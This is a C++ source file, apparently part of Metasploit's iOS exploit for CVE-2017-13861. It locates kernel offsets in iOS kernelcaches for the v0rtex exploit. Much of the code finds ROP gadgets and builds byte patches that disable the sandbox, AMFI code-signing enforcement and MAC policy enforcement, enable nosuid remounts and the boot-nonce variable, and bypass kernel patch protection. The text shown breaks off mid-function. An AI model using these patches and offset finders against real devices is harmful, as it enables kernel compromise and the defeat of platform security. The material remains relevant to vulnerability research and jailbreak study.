Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/liboffsetfinder64/liboffsetfinder64.cpp
Views: 11784
//1// offsetfinder64.cpp2// offsetfinder643//4// Created by tihmstar on 10.01.18.5// Copyright © 2018 tihmstar. All rights reserved.6//78#include "liboffsetfinder64.hpp"910#define LOCAL_FILENAME "liboffsetfinder.cpp"11#include "all_liboffsetfinder.hpp"1213extern "C"{14#include <stdio.h>15#include <fcntl.h>16#include <sys/stat.h>17#include <unistd.h>18#include <string.h>19#include "img4.h"20}2122using namespace std;23using namespace tihmstar;24using namespace patchfinder64;2526#pragma mark liboffsetfinder2728#define HAS_BITS(a,b) (((a) & (b)) == (b))29#define _symtab getSymtab()3031#define findstr(str,hasNullTerminator) memmem(str, sizeof(str)-(hasNullTerminator == 0))3233#pragma mark macho external3435__attribute__((always_inline)) struct load_command *find_load_command64(struct mach_header_64 *mh, uint32_t lc){36struct load_command *lcmd = (struct load_command *)(mh + 1);37for (uint32_t i=0; i<mh->ncmds; i++, lcmd = (struct load_command *)((uint8_t *)lcmd + lcmd->cmdsize)) {38if (lcmd->cmd == lc)39return lcmd;40}4142retcustomerror(lc,load_command_not_found);43return NULL;44}4546__attribute__((always_inline)) struct symtab_command *find_symtab_command(struct mach_header_64 *mh){47return (struct symtab_command *)find_load_command64(mh, LC_SYMTAB);48}4950__attribute__((always_inline)) struct dysymtab_command *find_dysymtab_command(struct mach_header_64 *mh){51return (struct dysymtab_command *)find_load_command64(mh, LC_DYSYMTAB);52}5354__attribute__((always_inline)) struct section_64 *find_section(struct segment_command_64 *seg, const char *sectname){55struct section_64 *sect = (struct section_64 *)(seg + 1);56for (uint32_t i=0; i<seg->nsects; i++, sect++) {57if (strcmp(sect->sectname, sectname) == 0)58return sect;59}60reterror("Failed to find section "+ string(sectname));61return NULL;62}6364offsetfinder64::offsetfinder64(const char* filename, uint64_t kslide, tristate haveSymbols) :65_freeKernel(true),66__symtab(NULL),67_kslide(kslide),68_haveSymtab(haveSymbols)69{70struct stat fs = {0};71int fd = 0;72char *img4tmp = NULL;73auto clean =[&]{74if (fd>0) close(fd);75};76assure((fd = open(filename, O_RDONLY)) != -1);77assureclean(!fstat(fd, &fs));78assureclean((_kdata = (uint8_t*)malloc( _ksize = fs.st_size)));79assureclean(read(fd,_kdata,_ksize)==_ksize);8081//check if feedfacf, fat, compressed (lzfse/lzss), img4, im4p82img4tmp = (char*)_kdata;83if (sequenceHasName(img4tmp, (char*)"IMG4")){84img4tmp = getElementFromIMG4((char*)_kdata, (char*)"IM4P");85}86if (sequenceHasName(img4tmp, (char*)"IM4P")){87char *extracted = NULL;88{89size_t klen;90const char* compname;9192extracted = extractPayloadFromIM4P(img4tmp, &compname, &klen);9394if (compname) {95//printf("%s comp detected, uncompressing : %s ...\n", compname, extracted ? "success" : "failure");96}97}98if (extracted != NULL) {99free(_kdata);100_kdata = (uint8_t*)extracted;101}102}103104if (*(uint32_t*)_kdata == 0xbebafeca || *(uint32_t*)_kdata == 0xcafebabe) {105bool swap = *(uint32_t*)_kdata == 0xbebafeca;106107uint8_t* tryfat = [=]() -> uint8_t* {108// just select first slice109uint32_t* kdata32 = (uint32_t*) _kdata;110uint32_t narch = kdata32[1];111if (swap) narch = ntohl(narch);112113if (narch != 1) {114printf("expected 1 arch in fat file, got %u\n", narch);115return NULL;116}117118uint32_t offset = kdata32[2 + 2];119if (swap) offset = ntohl(offset);120121if (offset != sizeof(uint32_t)*(2 + 5)) {122printf("wat, file offset not sizeof(fat_header) + sizeof(fat_arch)?!\n");123}124125uint32_t filesize = kdata32[2 + 3];126if (swap) filesize = ntohl(filesize);127128uint8_t *ret = (uint8_t*) malloc(filesize);129if (ret != NULL) {130memcpy(ret, _kdata + offset, filesize);131}132return ret;133}();134135if (tryfat != NULL) {136printf("got fat macho with first slice at %u\n", (uint32_t) (tryfat - _kdata));137free(_kdata);138_kdata = tryfat;139} else {140printf("got fat macho but failed to parse\n");141}142}143144assureclean(*(uint32_t*)_kdata == 0xfeedfacf);145146loadSegments();147clean();148}149150void offsetfinder64::loadSegments(){151struct mach_header_64 *mh = (struct mach_header_64*)_kdata;152struct load_command *lcmd = (struct load_command *)(mh + 1);153for (uint32_t i=0; i<mh->ncmds; i++, lcmd = (struct load_command *)((uint8_t *)lcmd + lcmd->cmdsize)) {154if (lcmd->cmd == LC_SEGMENT_64){155struct segment_command_64* seg = (struct segment_command_64*)lcmd;156_segments.push_back({_kdata+seg->fileoff,seg->filesize, (loc_t)seg->vmaddr, (seg->maxprot & VM_PROT_EXECUTE) !=0});157if (i==0){158_kernel_base = _segments.back().base; //first segment is base. Is this correct??159}160}161if (lcmd->cmd == LC_UNIXTHREAD) {162uint32_t *ptr = (uint32_t *)(lcmd + 1);163uint32_t flavor = ptr[0];164struct _tread{165uint64_t x[29]; /* General purpose registers x0-x28 */166uint64_t fp; /* Frame pointer x29 */167uint64_t lr; /* Link register x30 */168uint64_t sp; /* Stack pointer x31 */169uint64_t pc; /* Program counter */170uint32_t cpsr; /* Current program status register */171} *thread = (struct _tread*)(ptr + 2);172if (flavor == 6) {173_kernel_entry = (patchfinder64::loc_t)(thread->pc);174}175}176}177178try {179deref(_kernel_entry);180//info("Detected non-slid kernel.");181_kernelIsSlid = false;182} catch (tihmstar::out_of_range &e) {183info("Detected slid kernel. Using kernelslide=%p",(void*)_kslide);184_kernel_entry += _kslide;185_kernelIsSlid = true;186}187try {188deref(_kernel_entry);189} catch (tihmstar::out_of_range &e) {190reterror("Error occured when handling kernel entry checks");191}192193//info("Inited offsetfinder64 %s %s",OFFSETFINDER64_VERSION_COMMIT_COUNT, OFFSETFINDER64_VERSION_COMMIT_SHA);194try {195getSymtab();196} catch (tihmstar::symtab_not_found &e) {197info("Symtab not found. Assuming we are operating on a dumped kernel");198}199//printf("\n");200}201202offsetfinder64::offsetfinder64(void* buf, size_t size, uint64_t kslide, tristate haveSymbols) :203_freeKernel(false),204_kdata((uint8_t*)buf),205_ksize(size),206__symtab(NULL),207_kslide(kslide),208_haveSymtab(haveSymbols)209{210loadSegments();211}212213const void *offsetfinder64::kdata(){214return _kdata;215}216217loc_t offsetfinder64::find_entry(){218return _kernel_entry;219}220221loc_t offsetfinder64::find_base(){222return _kernel_base;223}224225bool offsetfinder64::haveSymbols(){226if (_haveSymtab == kuninitialized) {227try {228getSymtab();229_haveSymtab = ktrue;230} catch (tihmstar::symtab_not_found &e) {231_haveSymtab = kfalse;232}233}234return _haveSymtab;235}236237#pragma mark macho offsetfinder238__attribute__((always_inline)) struct symtab_command *offsetfinder64::getSymtab(){239if (!__symtab){240try {241__symtab = find_symtab_command((struct mach_header_64 *)_kdata);242} catch (tihmstar::load_command_not_found &e) {243if (e.cmd() != LC_SYMTAB)244throw;245retcustomerror("symtab not found. Is this a dumped kernel?", symtab_not_found);246}247}248return __symtab;249}250251#pragma mark offsetfidner252253loc_t offsetfinder64::memmem(const void *little, size_t little_len){254for (auto seg : _segments) {255if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {256return rt-seg.map+seg.base;257}258}259return 0;260}261262uint64_t offsetfinder64::deref(loc_t pos){263return insn::deref(_segments,pos);264}265266loc_t offsetfinder64::find_sym(const char *sym){267uint8_t *psymtab = _kdata + _symtab->symoff;268uint8_t *pstrtab = _kdata + _symtab->stroff;269270struct nlist_64 *entry = (struct nlist_64 *)psymtab;271for (uint32_t i = 0; i < _symtab->nsyms; i++, entry++)272if (!strcmp(sym, (char*)(pstrtab + entry->n_un.n_strx)))273return (loc_t)entry->n_value;274275return 0;276}277278loc_t offsetfinder64::find_syscall0(){279constexpr char sig_syscall_3[] = "\x06\x00\x00\x00\x03\x00\x0c\x00";280loc_t sys3 = memmem(sig_syscall_3, sizeof(sig_syscall_3)-1);281return sys3 - (3 * 0x18) + 0x8;282}283284285#pragma mark patchfinder64286287namespace tihmstar{288namespace patchfinder64{289290loc_t jump_stub_call_ptr_loc(insn bl_insn){291assure(bl_insn == insn::bl);292insn fdst(bl_insn,(loc_t)bl_insn.imm());293insn ldr((fdst+1));294if (!((fdst == insn::adrp && ldr == insn::ldr && (fdst+2) == insn::br))) {295retcustomerror("branch destination not jump_stub_call", bad_branch_destination);296}297return (loc_t)fdst.imm() + ldr.imm();298}299300bool is_call_to_jump_stub(insn bl_insn){301try {302jump_stub_call_ptr_loc(bl_insn);303return true;304} catch (tihmstar::bad_branch_destination &e) {305return false;306}307}308309}310}311312#pragma mark common patchs313constexpr char patch_nop[] = "\x1F\x20\x03\xD5";314constexpr size_t patch_nop_size = sizeof(patch_nop)-1;315316uint64_t offsetfinder64::find_register_value(loc_t where, int reg, loc_t startAddr){317insn functop(_segments, where);318319if (!startAddr) {320//might be functop321//good enough for my purpose322while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp);323}else{324functop = startAddr;325}326327uint64_t value[32] = {0};328329for (;(loc_t)functop.pc() < where;++functop) {330331switch (functop.type()) {332case patchfinder64::insn::adrp:333value[functop.rd()] = functop.imm();334// printf("%p: ADRP X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.imm());335break;336case patchfinder64::insn::add:337value[functop.rd()] = value[functop.rn()] + functop.imm();338// printf("%p: ADD X%d, X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.rn(), (uint64_t)functop.imm());339break;340case patchfinder64::insn::adr:341value[functop.rd()] = functop.imm();342// printf("%p: ADR X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.imm());343break;344case patchfinder64::insn::ldr:345// printf("%p: LDR X%d, [X%d, 0x%llx]\n", (void*)functop.pc(), functop.rt(), functop.rn(), (uint64_t)functop.imm());346value[functop.rt()] = value[functop.rn()] + functop.imm(); // XXX address, not actual value347break;348default:349break;350}351}352return value[reg];353}354355#pragma mark v0rtex356loc_t offsetfinder64::find_zone_map(){357loc_t str = findstr("zone_init",true);358retassure(str, "Failed to find str");359360loc_t ref = find_literal_ref(_segments, str);361retassure(ref, "literal ref to str");362363insn ptr(_segments,ref);364365loc_t ret = 0;366367while (++ptr != insn::adrp);368ret = (loc_t)ptr.imm();369370while (++ptr != insn::add);371ret += ptr.imm();372373return ret;374}375376loc_t offsetfinder64::find_kernel_map(){377return find_sym("_kernel_map");378}379380loc_t offsetfinder64::find_kernel_task(){381return find_sym("_kernel_task");382}383384loc_t offsetfinder64::find_realhost(){385loc_t sym = find_sym("_KUNCExecute");386387insn ptr(_segments,sym);388389loc_t ret = 0;390391while (++ptr != insn::adrp);392ret = (loc_t)ptr.imm();393394while (++ptr != insn::add);395ret += ptr.imm();396397return ret;398}399400loc_t offsetfinder64::find_bzero(){401return find_sym("___bzero");402}403404loc_t offsetfinder64::find_bcopy(){405return find_sym("_bcopy");406}407408loc_t offsetfinder64::find_copyout(){409return find_sym("_copyout");410}411412loc_t offsetfinder64::find_copyin(){413return find_sym("_copyin");414}415416loc_t offsetfinder64::find_ipc_port_alloc_special(){417loc_t sym = find_sym("_KUNCGetNotificationID");418insn ptr(_segments,sym);419420while (++ptr != insn::bl);421while (++ptr != insn::bl);422423return (loc_t)ptr.imm();424}425426loc_t offsetfinder64::find_ipc_kobject_set(){427loc_t sym = find_sym("_KUNCGetNotificationID");428insn ptr(_segments,sym);429430while (++ptr != insn::bl);431while (++ptr != insn::bl);432while (++ptr != insn::bl);433434return (loc_t)ptr.imm();435}436437loc_t offsetfinder64::find_ipc_port_make_send(){438loc_t sym = find_sym("_convert_task_to_port");439insn ptr(_segments,sym);440while (++ptr != insn::bl);441while (++ptr != insn::bl);442443return (loc_t)ptr.imm();444}445446loc_t offsetfinder64::find_chgproccnt(){447loc_t str = findstr("\"chgproccnt: lost user\"",true);448retassure(str, "Failed to find str");449450loc_t ref = find_literal_ref(_segments, str);451retassure(ref, "literal ref to str");452453insn functop(_segments,ref);454455while (--functop != insn::stp);456while (--functop == insn::stp);457++functop;458459return (loc_t)functop.pc();460}461462loc_t offsetfinder64::find_kauth_cred_ref(){463return find_sym("_kauth_cred_ref");464}465466loc_t offsetfinder64::find_osserializer_serialize(){467return find_sym("__ZNK12OSSerializer9serializeEP11OSSerialize");468}469470uint32_t offsetfinder64::find_vtab_get_external_trap_for_index(){471loc_t sym = find_sym("__ZTV12IOUserClient");472sym += 2*sizeof(uint64_t);473474loc_t nn = find_sym("__ZN12IOUserClient23getExternalTrapForIndexEj");475476insn data(_segments,sym,insn::kText_and_Data);477--data;478for (int i=0; i<0x200; i++) {479if ((++data).doublevalue() == (uint64_t)nn)480return i;481++data;482}483return 0;484}485486uint32_t offsetfinder64::find_vtab_get_retain_count(){487loc_t sym = find_sym("__ZTV12IOUserClient");488sym += 2*sizeof(uint64_t);489490loc_t nn = find_sym("__ZNK8OSObject14getRetainCountEv");491492insn data(_segments,sym,insn::kText_and_Data);493--data;494for (int i=0; i<0x200; i++) {495if ((++data).doublevalue() == (uint64_t)nn)496return i;497++data;498}499return 0;500}501502uint32_t offsetfinder64::find_proc_ucred(){503loc_t sym = find_sym("_proc_ucred");504return (uint32_t)insn(_segments,sym).imm();505}506507uint32_t offsetfinder64::find_task_bsd_info(){508loc_t sym = find_sym("_get_bsdtask_info");509return (uint32_t)insn(_segments,sym).imm();510}511512uint32_t offsetfinder64::find_vm_map_hdr(){513loc_t sym = find_sym("_vm_map_create");514515insn stp(_segments, sym);516517while (++stp != insn::bl);518519while (++stp != insn::cbz && stp != insn::cbnz);520521while (++stp != insn::stp || stp.rt() != stp.other());522523return (uint32_t)stp.imm();524}525526typedef struct mig_subsystem_struct {527uint32_t min;528uint32_t max;529char *names;530} mig_subsys;531532mig_subsys task_subsys ={ 0xd48, 0xd7a , NULL};533uint32_t offsetfinder64::find_task_itk_self(){534loc_t task_subsystem=memmem(&task_subsys, 4);535assure(task_subsystem);536task_subsystem += 4*sizeof(uint64_t); //index0 now537538insn mach_ports_register(_segments, (loc_t)insn::deref(_segments, task_subsystem+3*5*8));539540while (++mach_ports_register != insn::bl || mach_ports_register.imm() != (uint64_t)find_sym("_lck_mtx_lock"));541542insn ldr(mach_ports_register);543544while (++ldr != insn::ldr || (ldr+1) != insn::cbz);545546return (uint32_t)ldr.imm();547}548549uint32_t offsetfinder64::find_task_itk_registered(){550loc_t task_subsystem=memmem(&task_subsys, 4);551assure(task_subsystem);552task_subsystem += 4*sizeof(uint64_t); //index0 now553554insn mach_ports_register(_segments, (loc_t)insn::deref(_segments, task_subsystem+3*5*8));555556while (++mach_ports_register != insn::bl || mach_ports_register.imm() != (uint64_t)find_sym("_lck_mtx_lock"));557558insn ldr(mach_ports_register);559560while (++ldr != insn::ldr || (ldr+1) != insn::cbz);561while (++ldr != insn::ldr);562563return (uint32_t)ldr.imm();564}565566567//IOUSERCLIENT_IPC568mig_subsys host_priv_subsys = { 400, 426 } ;569uint32_t offsetfinder64::find_iouserclient_ipc(){570loc_t host_priv_subsystem=memmem(&host_priv_subsys, 8);571assure(host_priv_subsystem);572573insn memiterator(_segments,host_priv_subsystem,insn::kData_only);574loc_t thetable = 0;575while (1){576--memiterator;--memiterator; //dec 8 byte577struct _anon{578uint64_t ptr;579uint64_t z0;580uint64_t z1;581uint64_t z2;582} *obj = (struct _anon*)(void*)memiterator;583584if (!obj->z0 && !obj->z1 &&585!memcmp(&obj[0], &obj[1], sizeof(struct _anon)) &&586!memcmp(&obj[0], &obj[2], sizeof(struct _anon)) &&587!memcmp(&obj[0], &obj[3], sizeof(struct _anon)) &&588!memcmp(&obj[0], &obj[4], sizeof(struct _anon)) &&589!obj[-1].ptr && obj[-1].z0 == 1 && !obj[-1].z1) {590thetable = (loc_t)memiterator.pc();591break;592}593}594595loc_t iokit_user_client_trap_func = (loc_t)insn::deref(_segments, thetable + 100*4*8 - 8);596597insn bl_to_iokit_add_connect_reference(_segments,iokit_user_client_trap_func);598while (++bl_to_iokit_add_connect_reference != insn::bl);599600insn iokit_add_connect_reference(bl_to_iokit_add_connect_reference,(loc_t)bl_to_iokit_add_connect_reference.imm());601602while (++iokit_add_connect_reference != insn::add || iokit_add_connect_reference.rd() != 8 || ++iokit_add_connect_reference != insn::ldxr || iokit_add_connect_reference.rn() != 8);603604return (uint32_t)((--iokit_add_connect_reference).imm());605}606607uint32_t offsetfinder64::find_ipc_space_is_task_11(){608loc_t str = findstr("\"ipc_task_init\"",true);609retassure(str, "Failed to find str");610611loc_t ref = find_literal_ref(_segments, str,1);612retassure(ref, "literal ref to str");613614insn istr(_segments,ref);615616while (--istr != insn::str);617618return (uint32_t)istr.imm();619}620621uint32_t offsetfinder64::find_ipc_space_is_task(){622loc_t str = findstr("\"ipc_task_init\"",true);623retassure(str, "Failed to find str");624625loc_t ref = find_literal_ref(_segments, str);626retassure(ref, "literal ref to str");627628loc_t bref = 0;629bool do_backup_plan = false;630631bref = find_rel_branch_source(insn(_segments,ref), true, 2, 0x2000);632633if (bref == 0) {634//previous attempt doesn't work on some 10.0.2 devices, trying something else...635do_backup_plan = bref = find_rel_branch_source(insn(_segments,ref), true, 1, 0x2000);636if (bref == 0) {637//this seems to be good for iOS 9.3.3638do_backup_plan = bref = find_rel_branch_source(insn(_segments,ref-4), true, 1, 0x2000);639if (bref == 0) {640//this is for iOS 11(.2.6)641return find_ipc_space_is_task_11();642}643}644}645646insn istr(_segments,bref);647648if (!do_backup_plan) {649while (++istr != insn::str);650}else{651while (--istr != insn::str);652}653654return (uint32_t)istr.imm();655}656657uint32_t offsetfinder64::find_sizeof_task(){658loc_t str = findstr("\0tasks",true)+1;659retassure(str, "Failed to find str");660661loc_t ref = find_literal_ref(_segments, str);662retassure(ref, "literal ref to str");663664insn thebl(_segments, ref);665666loc_t zinit = 0;667zinit = find_sym("_zinit");668if (zinit == 0) {669loc_t str = findstr("zlog%d",true);670retassure(str, "Failed to find str2");671672loc_t ref = find_literal_ref(_segments, str);673retassure(ref, "literal ref to str2");674675insn functop(_segments,ref);676while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp || (functop-1) != insn::ret);677zinit = (loc_t)functop.pc();678}679680while (++thebl != insn::bl || (loc_t)thebl.imm() != zinit);681682--thebl;683684return (uint32_t)thebl.imm();685}686687loc_t offsetfinder64::find_rop_add_x0_x0_0x10(){688constexpr char ropbytes[] = "\x00\x40\x00\x91\xC0\x03\x5F\xD6";689return [](const void *little, size_t little_len, vector<text_t>segments)->loc_t{690for (auto seg : segments) {691if (!seg.isExec)692continue;693694if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {695return rt-seg.map+seg.base;696}697}698return 0;699}(ropbytes,sizeof(ropbytes)-1,_segments);700}701702loc_t offsetfinder64::find_rop_ldr_x0_x0_0x10(){703constexpr char ropbytes[] = "\x00\x08\x40\xF9\xC0\x03\x5F\xD6";704return [](const void *little, size_t little_len, vector<text_t>segments)->loc_t{705for (auto seg : segments) {706if (!seg.isExec)707continue;708709if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {710return rt-seg.map+seg.base;711}712}713return 0;714}(ropbytes,sizeof(ropbytes)-1,_segments);715}716717loc_t offsetfinder64::find_exec(std::function<bool(patchfinder64::insn &i)>cmpfunc){718insn i(_segments);719while (true) {720if (cmpfunc(i))721return i;722try {723++i;724} catch (out_of_range &e) {725break;726}727}728return 0;729}730731732733#pragma mark patch_finders734void slide_ptr(class patch *p,uint64_t slide){735slide += *(uint64_t*)p->_patch;736memcpy((void*)p->_patch, &slide, 8);737}738739patch offsetfinder64::find_sandbox_patch(){740loc_t str = findstr("process-exec denied while updating label",false);741retassure(str, "Failed to find str");742743loc_t ref = find_literal_ref(_segments, str);744retassure(ref, "literal ref to str");745746insn bdst(_segments, ref);747for (int i=0; i<4; i++) {748while (--bdst != insn::bl){749}750}751--bdst;752753loc_t cbz = find_rel_branch_source(bdst, true);754755return patch(cbz, patch_nop, patch_nop_size);756}757758759patch offsetfinder64::find_amfi_substrate_patch(){760loc_t str = findstr("AMFI: hook..execve() killing pid %u: %s",false);761retassure(str, "Failed to find str");762763loc_t ref = find_literal_ref(_segments, str);764retassure(ref, "literal ref to str");765766insn funcend(_segments, ref);767while (++funcend != insn::ret);768769insn tbnz(funcend);770while (--tbnz != insn::tbnz);771772constexpr char mypatch[] = "\x1F\x20\x03\xD5\x08\x79\x16\x12\x1F\x20\x03\xD5\x00\x00\x80\x52\xE9\x01\x80\x52";773return {(loc_t)tbnz.pc(),mypatch,sizeof(mypatch)-1};774}775776patch offsetfinder64::find_cs_enforcement_disable_amfi(){777loc_t str = findstr("csflags",true);778retassure(str, "Failed to find str");779780loc_t ref = find_literal_ref(_segments, str);781retassure(ref, "literal ref to str");782783insn cbz(_segments, ref);784while (--cbz != insn::cbz);785786insn movz(cbz);787while (++movz != insn::movz);788--movz;789790int anz = static_cast<int>((movz.pc()-cbz.pc())/4 +1);791792char mypatch[anz*4];793for (int i=0; i<anz; i++) {794((uint32_t*)mypatch)[i] = *(uint32_t*)patch_nop;795}796797return {(loc_t)cbz.pc(),mypatch,static_cast<size_t>(anz*4)};798}799800patch offsetfinder64::find_i_can_has_debugger_patch_off(){801loc_t str = findstr("Darwin Kernel",false);802retassure(str, "Failed to find str");803804str -=4;805806return {str,"\x01",1};807}808809patch offsetfinder64::find_amfi_patch_offsets(){810loc_t str = findstr("int _validateCodeDirectoryHashInDaemon",false);811retassure(str, "Failed to find str");812813loc_t ref = find_literal_ref(_segments, str);814retassure(ref, "literal ref to str");815816insn bl_amfi_memcp(_segments, ref);817818loc_t memcmp = 0;819820loc_t jscpl = 0;821while (1) {822while (++bl_amfi_memcp != insn::bl);823824try {825jscpl = jump_stub_call_ptr_loc(bl_amfi_memcp);826} catch (tihmstar::bad_branch_destination &e) {827continue;828}829if (haveSymbols()) {830if (insn::deref(_segments, jscpl) == (uint64_t)(memcmp = find_sym("_memcmp")))831break;832}else{833//check for _memcmp function signature834insn checker(_segments, memcmp = (loc_t)insn::deref(_segments, jscpl));835if (checker == insn::cbz836&& (++checker == insn::ldrb && checker.rn() == 0)837&& (++checker == insn::ldrb && checker.rn() == 1)838// ++checker == insn::sub //i'm too lazy to implement this now, first 3 instructions should be good enough though.839) {840break;841}842}843844}845846/* find*/847//movz w0, #0x0848//ret849insn ret0(_segments, memcmp);850for (;; --ret0) {851if (ret0 == insn::movz && ret0.rd() == 0 && ret0.imm() == 0 && (ret0+1) == insn::ret) {852break;853}854}855856uint64_t gadget = ret0.pc();857return {jscpl,&gadget,sizeof(gadget),slide_ptr};858}859860patch offsetfinder64::find_proc_enforce(){861loc_t str = findstr("Enforce MAC policy on process operations", false);862retassure(str, "Failed to find str");863864loc_t valref = memmem(&str, sizeof(str));865retassure(valref, "Failed to find val ref");866867loc_t proc_enforce_ptr = valref - (5 * sizeof(uint64_t));868869loc_t proc_enforce_val_loc = (loc_t)insn::deref(_segments, proc_enforce_ptr);870871uint8_t mypatch = 1;872return {proc_enforce_val_loc,&mypatch,1};873}874875vector<patch> offsetfinder64::find_nosuid_off(){876loc_t str = findstr("\"mount_common(): mount of %s filesystem failed with %d, but vnode list is not empty.\"", false);877retassure(str, "Failed to find str");878879loc_t ref = find_literal_ref(_segments, str);880retassure(ref, "literal ref to str");881882insn ldr(_segments,ref);883884while (--ldr != insn::ldr);885886loc_t cbnz = find_rel_branch_source(ldr, 1);887888insn bl_vfs_context_is64bit(ldr,cbnz);889while (--bl_vfs_context_is64bit != insn::bl || bl_vfs_context_is64bit.imm() != (uint64_t)find_sym("_vfs_context_is64bit"));890891//patch1892insn movk(bl_vfs_context_is64bit);893while (--movk != insn::movk || movk.imm() != 8);894895//patch2896insn orr(bl_vfs_context_is64bit);897while (--orr != insn::orr || movk.imm() != 8);898899return {{(loc_t)movk.pc(),patch_nop,patch_nop_size},{(loc_t)orr.pc(),"\xE9\x03\x08\x2A",4}}; // mov w9, w8900}901902patch offsetfinder64::find_remount_patch_offset(){903loc_t off = find_syscall0();904905loc_t syscall_mac_mount = (off + 3*(424-1)*sizeof(uint64_t));906907loc_t __mac_mount = (loc_t)insn::deref(_segments, syscall_mac_mount);908909insn patchloc(_segments, __mac_mount);910911while (++patchloc != insn::tbz || patchloc.rt() != 8 || patchloc.other() != 6);912913--patchloc;914915constexpr char mypatch[] = "\xC8\x00\x80\x52"; //movz w8, #0x6916return {(loc_t)patchloc.pc(),mypatch,sizeof(mypatch)-1};917}918919patch offsetfinder64::find_lwvm_patch_offsets(){920loc_t str = findstr("_mapForIO", false);921retassure(str, "Failed to find str");922923loc_t ref = find_literal_ref(_segments, str);924retassure(ref, "literal ref to str");925926insn functop(_segments,ref);927928while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp || (functop-2) != insn::ret);929930insn dstfunc(functop);931loc_t destination = 0;932while (1) {933while (++dstfunc != insn::bl);934935try {936destination = jump_stub_call_ptr_loc(dstfunc);937} catch (tihmstar::bad_branch_destination &e) {938continue;939}940941if (haveSymbols()) {942if (insn::deref(_segments, destination) == (uint64_t)find_sym("_PE_i_can_has_kernel_configuration"))943break;944}else{945//check for _memcmp function signature946insn checker(_segments, (loc_t)insn::deref(_segments, destination));947uint8_t reg = 0;948if ((checker == insn::adrp && (static_cast<void>(reg = checker.rd()),true))949&& (++checker == insn::add && checker.rd() == reg)950&& ++checker == insn::ldr951&& ++checker == insn::ret952) {953break;954}955}956957}958959while (++dstfunc != insn::bcond || dstfunc.other() != insn::cond::NE);960961loc_t target = (loc_t)dstfunc.imm();962963return {destination,&target,sizeof(target),slide_ptr};964}965966loc_t offsetfinder64::find_sbops(){967loc_t str = findstr("Seatbelt sandbox policy", false);968retassure(str, "Failed to find str");969970loc_t ref = memmem(&str, sizeof(str));971retassure(ref, "Failed to find ref");972973return (loc_t)insn::deref(_segments, ref+0x18);974}975976enum OFVariableType : uint32_t{977kOFVariableTypeBoolean = 1,978kOFVariableTypeNumber,979kOFVariableTypeString,980kOFVariableTypeData981} ;982983enum OFVariablePerm : uint32_t{984kOFVariablePermRootOnly = 0,985kOFVariablePermUserRead,986kOFVariablePermUserWrite,987kOFVariablePermKernelOnly988};989struct OFVariable {990const char *variableName;991OFVariableType variableType;992OFVariablePerm variablePerm;993uint32_t _padding;994uint32_t variableOffset;995};996997998patch offsetfinder64::find_nonceEnabler_patch(){999if (!haveSymbols()){1000info("Falling back to find_nonceEnabler_patch_nosym, because we don't have symbols");1001return find_nonceEnabler_patch_nosym();1002}10031004loc_t str = findstr("com.apple.System.boot-nonce",true);1005retassure(str, "Failed to find str");10061007loc_t sym = find_sym("_gOFVariables");10081009insn ptr(_segments,sym, insn::kText_and_Data);10101011//#warning TODO: doublecast works, but is still kinda ugly1012OFVariable *varp = (OFVariable*)(void*)ptr;1013OFVariable nullvar = {0};1014for (OFVariable *vars = varp;memcmp(vars, &nullvar, sizeof(OFVariable)) != 0; vars++) {10151016if ((loc_t)vars->variableName == str) {1017uint8_t mypatch = (uint8_t)kOFVariablePermUserWrite;1018loc_t location = sym + ((uint8_t*)&vars->variablePerm - (uint8_t*)varp);1019return {location,&mypatch,1};1020}1021}10221023reterror("failed to find \"com.apple.System.boot-nonce\"");1024return {0,0,0};1025}10261027patch offsetfinder64::find_nonceEnabler_patch_nosym(){1028loc_t str = findstr("com.apple.System.boot-nonce",true);1029retassure(str, "Failed to find str");10301031loc_t valref = memmem(&str, sizeof(str));1032retassure(valref, "Failed to find val ref");10331034loc_t str2 = findstr("com.apple.System.sep.art",true);1035retassure(str2, "Failed to find str2");10361037loc_t valref2 = memmem(&str2, sizeof(str2));1038retassure(valref2, "Failed to find val ref2");10391040auto diff = abs(valref - valref2);10411042assure(diff % sizeof(OFVariable) == 0 && diff < 0x50); //simple sanity check10431044insn ptr(_segments, valref, insn::kText_and_Data);10451046OFVariable *vars = (OFVariable*)(void*)ptr;1047if ((loc_t)vars->variableName == str) {1048uint8_t mypatch = (uint8_t)kOFVariablePermUserWrite;1049loc_t location = valref + offsetof(OFVariable, variablePerm);1050return {location,&mypatch,1};1051}10521053reterror("failed to find \"com.apple.System.boot-nonce\"");1054return {0,0,0};1055}10561057#pragma mark KPP bypass1058loc_t offsetfinder64::find_gPhysBase(){1059loc_t ref = find_sym("_ml_static_ptovirt");10601061insn tgtref(_segments, ref);10621063loc_t gPhysBase = 0;10641065if (tgtref != insn::adrp)1066while (++tgtref != insn::adrp);1067gPhysBase = (loc_t)tgtref.imm();10681069while (++tgtref != insn::ldr);1070gPhysBase += tgtref.imm();10711072return gPhysBase;1073}10741075loc_t offsetfinder64::find_gPhysBase_nosym(){1076loc_t str = findstr("\"pmap_map_high_window_bd: area too large", false);1077retassure(str, "Failed to find str");10781079loc_t ref = find_literal_ref(_segments, str);1080retassure(ref, "literal ref to str");10811082insn tgtref(_segments, ref);10831084loc_t gPhysBase = 0;10851086while (++tgtref != insn::adrp);1087gPhysBase = (loc_t)tgtref.imm();10881089while (++tgtref != insn::ldr);1090gPhysBase += tgtref.imm();10911092return gPhysBase;1093}10941095loc_t offsetfinder64::find_kernel_pmap(){1096if (haveSymbols()) {1097return find_sym("_kernel_pmap");1098}else{1099return find_kernel_pmap_nosym();1100}1101}11021103loc_t offsetfinder64::find_kernel_pmap_nosym(){1104loc_t str = findstr("\"pmap_map_bd\"", true);1105retassure(str, "Failed to find str");11061107loc_t ref = find_literal_ref(_segments, str, 1);1108retassure(ref, "literal ref to str");11091110insn btm(_segments,ref);1111while (++btm != insn::ret);11121113insn kerne_pmap_ref(btm);1114while (--kerne_pmap_ref != insn::adrp);11151116uint8_t reg = 